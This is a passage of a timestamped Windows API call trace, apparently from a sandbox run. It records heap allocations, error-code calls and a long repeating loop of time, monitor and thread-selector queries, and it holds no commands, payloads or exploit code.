GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] GetLastError () returned 0x0 [0042.140] SetLastError (dwErrCode=0x0) [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x98) returned 0x5003bc0 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1f) returned 0x5001668 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x36) returned 0x5000838 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x37) returned 0x5003c60 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3c) returned 0x5003ca0 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x31) returned 0x5003ce8 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x17) returned 0x5000878 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x24) returned 0x5003d28 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x14) returned 0x5003d58 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xd) returned 0x5000a70 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x25) returned 0x5003d78 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x39) returned 0x5003da8 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x18) returned 0x5003df0 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x17) returned 0x5003e10 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xe) returned 0x5000a88 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x69) returned 0x5003e30 [0042.140] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3e) returned 0x5003ea8 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1b) returned 0x5001690 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1d) returned 0x50016b8 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x48) returned 0x5003ef0 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x12) returned 0x5003f40 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x18) returned 0x5003f60 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1b) returned 0x50016e0 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x24) returned 0x5003f80 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x29) returned 0x5003fb0 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1e) returned 0x5001708 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x41) returned 0x50028e0 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x17) returned 0x5002930 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xf) returned 0x5000aa0 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x16) returned 0x5002950 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2a) returned 0x5002970 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x29) returned 0x50029a8 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x15) returned 0x50029e0 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1e) returned 0x5001730 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2a) returned 0x5002a00 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x12) returned 0x5002a38 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x18) returned 0x5002a58 [0042.141] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x46) returned 0x5002a78 [0042.141] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50033b8 | out: hHeap=0x4ff0000) returned 1 [0042.142] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x80) returned 0x5002ac8 [0042.142] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.142] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x800) returned 0x5002b50 [0042.142] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40d47c) returned 0x0 [0042.142] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.142] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.143] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.143] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.143] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.143] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.144] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.144] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.144] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5002ac8) returned 0x80 [0042.144] GetLastError () returned 0x0 [0042.144] SetLastError (dwErrCode=0x0) [0042.144] GetLastError () returned 0x0 [0042.144] SetLastError (dwErrCode=0x0) [0042.144] GetLastError () returned 0x0 [0042.144] SetLastError (dwErrCode=0x0) [0042.144] GetLastError () returned 0x0 [0042.144] SetLastError (dwErrCode=0x0) [0042.144] GetLastError () returned 0x0 [0042.144] SetLastError (dwErrCode=0x0) [0042.144] GetLastError () returned 0x0 [0042.144] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.145] SetLastError (dwErrCode=0x0) [0042.145] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.146] SetLastError (dwErrCode=0x0) [0042.146] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] GetLastError () returned 0x0 [0042.147] SetLastError (dwErrCode=0x0) [0042.147] lstrlenW (lpString="") returned 0 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.148] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.148] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.148] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.149] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.149] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.149] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.150] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.150] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.150] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, 